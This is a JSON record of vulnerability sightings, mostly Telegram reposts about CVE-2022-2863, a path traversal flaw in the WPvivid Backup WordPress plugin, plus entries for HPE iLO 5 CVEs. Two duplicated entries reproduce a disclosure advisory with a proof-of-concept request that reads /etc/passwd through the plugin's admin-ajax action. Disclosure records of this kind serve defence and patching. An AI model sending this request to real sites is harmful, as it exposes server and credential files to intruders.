{"vulnerability": "CVE-2022-2863", "sightings": [{"uuid": "bd355d73-115e-44fe-9c2b-f64dad863e03", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-2863", "type": "seen", "source": "https://t.me/cibsecurity/49866", "content": "\u203c CVE-2022-2863 \u203c\n\nThe Migration, Backup, Staging WordPress plugin before 0.9.76 does not sanitise and validate a parameter before using it to read the content of a file, allowing high privilege users to read any file from the web server via a Traversal attack\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2022-09-16T12:38:57.000000Z"}, {"uuid": "23787c59-6097-4140-a9c2-541c1e232cd1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-28637", "type": "seen", "source": "https://t.me/cibsecurity/50165", "content": "\u203c CVE-2022-28637 \u203c\n\nA local Denial of Service (DoS) and local arbitrary code execution vulnerability that could potentially lead to a loss of confidentiality, integrity, and availability were discovered in HPE Integrated Lights-Out 5 (iLO 5) in Version: 2.71. Hewlett Packard Enterprise has provided updated firmware for HPE Integrated Lights-Out 5 (iLO 5) that addresses these security vulnerabilities.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2022-09-21T00:45:34.000000Z"}, {"uuid": "f6f23390-78e6-4996-ab1f-8cd63a5fec6a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-28633", "type": "seen", "source": "https://t.me/cibsecurity/48069", "content": "\u203c CVE-2022-28633 \u203c\n\nA local disclosure of sensitive information and a local unauthorized data modification vulnerability were discovered in HPE Integrated Lights-Out 5 (iLO 5) firmware version(s): Prior to 2.71. An unprivileged user could locally exploit this vulnerability to read and write to the iLO 5 firmware file system resulting in a complete loss of confidentiality and a partial loss of integrity and availability. HPE has provided a firmware update to resolve this vulnerability in HPE Integrated Lights-Out 5 (iLO 5).\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2022-08-12T18:43:40.000000Z"}, {"uuid": "ec32ae3e-70eb-435e-9c7b-dedce5d055dd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-2863", "type": "seen", "source": "https://t.me/hacking_Attack/71700", "content": "Exploit Collector\nWordPress WPvivid Backup Path Traversal\n\nhttps://1.bp.blogspot.com/-vtYXiq7PjFk/WWlvT3pSItI/AAAAAAAAIN4/S7SZq03xxCsAAYdYEaQwiY4Z64tRJ_WvQCLcBGAs/s1600/h43.png \nWordPress WPvivid Backup plugin versions prior to 0.9.76 suffer from a path traversal vulnerability.\n\nSHA-256 | fb090fe06b8107185b5b73bdfac52e984a5bd3987e4e8a14397734095d06addf\n\nDownload\n=====[ Tempest Security Intelligence - ADV-15/2022\n]==========================\n\nWordpress plugin - WPvivid Backup - Version < 0.9.76\n\nAuthor: Rodolfo Tavares\n\nTempest Security Intelligence - Recife, Pernambuco - Brazil\n\n=====[ Table of Contents]==================================================\n* Overview\n* Detailed description\n* Timeline of disclosure\n* Thanks & Acknowledgements\n* References\n\n=====[ Vulnerability\nInformation]=============================================\n* Class: Improper Limitation of a Pathname to a Restricted Directory\n('Path Traversal')\n('Path Traversal') [CWE-22]\n\n* CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H\n* CVSS Base Score 7.2\n\n=====[ Overview]========================================================\n* System affected : Wordpress plugin - WPvivid Backup\n* Software Version : Version < 0.9.76\n* Impacts : The plugin WPvivid Backup does not sanitise and validate a\nparameter before using it to read the content of a file, allowing high\nprivilege users to read any file from the web server via a Traversal attack.\n\n=====[ Detailed\ndescription]=================================================\n* Steps to reproduce\n\n1 - Authenticated as privilege user, copy the request below, change the\nplaceholder {{nonce}} with a valid nonce:\n```\n\nhttps://example.com/wp-admin/admin-ajax.php?_wpnonce={{nonce}}&action=wpvivid_download_export_backup&file_name=../../../../../../../etc/passwd&file_size=922\n```\n\n=====[ Timeline of\ndisclosure]===============================================\n\n11/Aug/2022 - Responsible disclosure was initiated with the vendor.\n15/Aug/2022 - WPvivid Support confirmed the issue.\n16/Aug/2022 - WPvivid Support fix the issue.\n08/Aug/2022 - CVEs was assigned and reserved as CVE-2022-2863.\n\n=====[ Thanks & Acknowledgements]========================================\n* Tempest Security Intelligence [5]\n\n=====[ References ]=====================================================\n\n[1][ [\nhttps://cwe.mitre.org/data/definitions/22.html]|https://cwe.mitre.org/data/definitions/22.html\n]]\n[2][ [\nhttps://gist.github.com/rodnt/c6eb8c8237d6ea0583f1f7da139c742a]|https://gist.github.com/rodnt/c6eb8c8237d6ea0583f1f7da139c742a\n[3][ [https://www.tempest.com.br|https://www.tempest.com.br/]]\n[4][ [\nhttps://wpscan.com/vulnerability/cb6a3304-2166-47a0-a011-4dcacaa133e5]|https://wpscan.com/vulnerability/cb6a3304-2166-47a0-a011-4dcacaa133e5]]\n]\n[5][ [Thanks FXO,ACPM,MFPP]]\n\n=====[ EOF ]===========================================================\n--\n\n\nSource:packetstormsecurity.com\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-01T20:01:20.875142Z"}, {"uuid": "8784207f-00ab-45b2-89d2-dfb96ba5b38a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-2863", "type": "seen", "source": "https://t.me/hacking_Attack/71700", "content": "Exploit Collector\nWordPress WPvivid Backup Path Traversal\n\nhttps://1.bp.blogspot.com/-vtYXiq7PjFk/WWlvT3pSItI/AAAAAAAAIN4/S7SZq03xxCsAAYdYEaQwiY4Z64tRJ_WvQCLcBGAs/s1600/h43.png \nWordPress WPvivid Backup plugin versions prior to 0.9.76 suffer from a path traversal vulnerability.\n\nSHA-256 | fb090fe06b8107185b5b73bdfac52e984a5bd3987e4e8a14397734095d06addf\n\nDownload\n=====[ Tempest Security Intelligence - ADV-15/2022\n]==========================\n\nWordpress plugin - WPvivid Backup - Version < 0.9.76\n\nAuthor: Rodolfo Tavares\n\nTempest Security Intelligence - Recife, Pernambuco - Brazil\n\n=====[ Table of Contents]==================================================\n* Overview\n* Detailed description\n* Timeline of disclosure\n* Thanks & Acknowledgements\n* References\n\n=====[ Vulnerability\nInformation]=============================================\n* Class: Improper Limitation of a Pathname to a Restricted Directory\n('Path Traversal')\n('Path Traversal') [CWE-22]\n\n* CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H\n* CVSS Base Score 7.2\n\n=====[ Overview]========================================================\n* System affected : Wordpress plugin - WPvivid Backup\n* Software Version : Version < 0.9.76\n* Impacts : The plugin WPvivid Backup does not sanitise and validate a\nparameter before using it to read the content of a file, allowing high\nprivilege users to read any file from the web server via a Traversal attack.\n\n=====[ Detailed\ndescription]=================================================\n* Steps to reproduce\n\n1 - Authenticated as privilege user, copy the request below, change the\nplaceholder {{nonce}} with a valid nonce:\n```\n\nhttps://example.com/wp-admin/admin-ajax.php?_wpnonce={{nonce}}&action=wpvivid_download_export_backup&file_name=../../../../../../../etc/passwd&file_size=922\n```\n\n=====[ Timeline of\ndisclosure]===============================================\n\n11/Aug/2022 - Responsible disclosure was initiated with the vendor.\n15/Aug/2022 - WPvivid Support confirmed the issue.\n16/Aug/2022 - WPvivid Support fix the issue.\n08/Aug/2022 - CVEs was assigned and reserved as CVE-2022-2863.\n\n=====[ Thanks & Acknowledgements]========================================\n* Tempest Security Intelligence [5]\n\n=====[ References ]=====================================================\n\n[1][ [\nhttps://cwe.mitre.org/data/definitions/22.html]|https://cwe.mitre.org/data/definitions/22.html\n]]\n[2][ [\nhttps://gist.github.com/rodnt/c6eb8c8237d6ea0583f1f7da139c742a]|https://gist.github.com/rodnt/c6eb8c8237d6ea0583f1f7da139c742a\n[3][ [https://www.tempest.com.br|https://www.tempest.com.br/]]\n[4][ [\nhttps://wpscan.com/vulnerability/cb6a3304-2166-47a0-a011-4dcacaa133e5]|https://wpscan.com/vulnerability/cb6a3304-2166-47a0-a011-4dcacaa133e5]]\n]\n[5][ [Thanks FXO,ACPM,MFPP]]\n\n=====[ EOF ]===========================================================\n--\n\n\nSource:packetstormsecurity.com\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-02T01:01:36.400468Z"}]}